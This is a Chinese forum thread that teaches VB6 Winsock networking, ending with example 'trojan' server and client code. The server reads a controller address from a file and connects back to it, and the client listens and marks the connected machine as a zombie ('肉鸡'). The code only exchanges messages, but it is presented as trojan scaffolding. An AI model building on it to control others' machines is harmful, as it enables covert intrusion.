希望下面这些资料能够帮助菜菜们迅速提高网络编程的能力：:)

*属性
-------------------------------------------------------------------------
LocalHostName | 本地机器名
LocalIP | 本地机器IP地址
LocalPort | 本地机器通信程序的端口(0<端口<65536)
RemoteHost | 远程机器名
RemotePort | 远程机器的通信程序端口
state | 连接的当前状态(文后有详细说明)
Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*方法
--------------------------------------------------------------------------
Listen
Listen方法用于服务器程序，等待客户访问。
格式：Winsock对象.listen
Connect
Connect方法用于向远程主机发出连接请求
格式：Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept方法用于接受一个连接请求
格式：Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式：Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式：Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式：Winsock对象.close
*事件
----------------------------------------------------------------------------
Close | 远程机器关闭连接时触发
Connect | 连接建立好，可以进行通信时触发(客户端)
ConnectRequest | 有请求连接到达时产生(服务器端)
DataArrival | 有数据到达时触发
Error | 发生错误时发生
SendProgress | 数据传送进度
-----------------------------------------------------------------------------

:lol :lol 好资料！收下了！:lol :) :) :) :loveliness: :loveliness:

自己顶……

麻烦问一下  WinSock的属性用法和Shell的属性一样吗

看来还是有人不明白，给你们看示例代码：
木马服务器端：
Private Sub Form_Load()
On Error GoTo A:
Dim i
Dim A
Open "Client.txt" For Input As #1
Line Input #1, A
Winsock1.RemoteHost = A
Line Input #1, A
Winsock1.RemotePort = A
Close #1
Winsock1.Connect
For i = 1 To 300000
DoEvents
Next i
Winsock1.SendData "您好，我已经上线"
GoTo B:
A:
Shell App.EXEName & ".Exe"
End
B:
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Winsock1.SendData "您好，我已经下线"
For i = 1 To 300000
DoEvents
Next i
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim strData As String
Winsock1.GetData strData
MsgBox strData
End Sub


木马客户端：
Private Sub Command1_Click()
Winsock1.SendData "您好，已经收到！"
End Sub

Private Sub Form_Load()
    Winsock1.LocalPort = 518
    Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    If Winsock1.State <> sckClosed Then
        Winsock1.Close
    End If
    Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim strData As String
    Winsock1.GetData strData
    Select Case strData
        Case "您好，我已经上线"
            Me.Caption = "肉鸡已经上线"
            Command1.Enabled = True
        Case "您好，我已经下线"
            Me.Caption = "肉鸡已经下线了"
            Command1.Enabled = False
    End Select
End Sub

Private Sub Winsock1_Close()
    Winsock1.Close
    Winsock1.Listen
End Sub

好东西啊,以后能不能多发表这样的文章啊?```在此谢谢啦!

怎么都没人顶????  好东西应该多顶几次!!!

这个是VB网络编程的灵魂，希望大家顶一下！

谢谢，这样的东西，要是有的话在多发点:handshake :handshake 。

我喜欢...收下...然后...说声：“谢了！”